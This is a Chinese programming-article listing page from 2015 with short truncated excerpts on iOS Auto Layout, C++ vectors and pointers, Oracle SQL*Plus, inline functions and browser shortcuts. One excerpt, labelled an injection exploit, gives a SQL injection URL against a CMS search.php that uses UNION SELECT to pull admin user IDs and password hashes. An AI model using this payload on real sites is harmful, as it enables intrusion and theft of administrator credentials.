Auto Layout是什么Auto Layout是一个基于constraint(约束)的布局系统,它根据UI元素之间约束关系来调整UI元素的位置和大小。Auto Layout解决什么问题更容易适配不同分辨率设备的屏幕(iPhone 6 Plus, iPhone 6, iPhone 5s/5, iP...
分类:
移动开发 时间:
2015-05-08 09:21:22
阅读次数:
136
Given a non-negative number represented as an array of digits, plus one to the number.The digits are stored such that the most significant digit is at...
分类:
其他好文 时间:
2015-05-08 06:55:03
阅读次数:
120
首先:注入exp有时候有些/plus/目录换成了/plugins目录/plugins/search.php?keyword=as&typeArr[111%3D@`\‘`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__adm..
分类:
其他好文 时间:
2015-05-08 00:20:49
阅读次数:
105
#include
#include
#include
using namespace std;
int main()
{
vector spvec;
string str;
while(cin>>str)
{
string *sp = new string;
*sp = str;
spvec.push_bac...
分类:
编程语言 时间:
2015-05-07 22:14:45
阅读次数:
168
??
1.以sys账号登陆数据库
sql plus下面输入命令:conn sys as dba ;回车之后输入密码 。
提示:连接成功则进行第二步。
2.修改端口号位
sql plus下面输入命令: call dbms_xdb.cfg_update(updateXML(dbms_xdb.cfg_get(),
...
分类:
数据库 时间:
2015-05-07 18:58:13
阅读次数:
152
(一)inline函数(摘自C++ Primer的第三版)在函数声明或定义中函数返回类型前加上关键字inline即把min()指定为内联。 inline int min(int first, int secend) {/****/}; inline 函数对编译器而言必须是可见的,以便它能够在调用点内...
分类:
其他好文 时间:
2015-05-07 18:46:11
阅读次数:
120
#include
#include
int main()
{
std::vector ivec;
int temp;
while(std::cin>>temp)
ivec.push_back(temp);
int *cp =new int[ivec.size()];
for(std::vector::iterator iter=ivec...
分类:
编程语言 时间:
2015-05-07 16:55:21
阅读次数:
180
#include
#include
int main()
{
const char *cp1 = "Hello!";
const char *cp2 = "How are you.";
size_t len = strlen(cp1) + strlen(cp2);
char *result = new char[len];
strcpy(result,...
分类:
编程语言 时间:
2015-05-07 16:52:55
阅读次数:
130
自从iPhone 6及iPhone 6 Plus出现之后,iPhone需要适配的屏幕尺寸就达到了四种之多,屏幕适配就成为了开发者们最需考虑的问题。 经过个人观察及实验,发现了三种适配方案。 一、使用老版XCode编辑出来的工程 相信很多人都有发现,在iPhone 6及iPhone 6 ...
分类:
其他好文 时间:
2015-05-07 16:34:09
阅读次数:
96
一般快捷键F11打开/关闭全屏模式 TAB循环的选择地址栏,刷新键和当前标签页 CTRL+F在当前标签页查询字或短语 CTRL+N为当前标签页打开一个新窗口 CTRL+P打印当前标签页 CTRL+A选择当前页的所有内容 CTRL+Plus放大(由于前面是加号为避免误解所以用Plus代表“+”) CT...
分类:
其他好文 时间:
2015-05-07 16:25:18
阅读次数:
133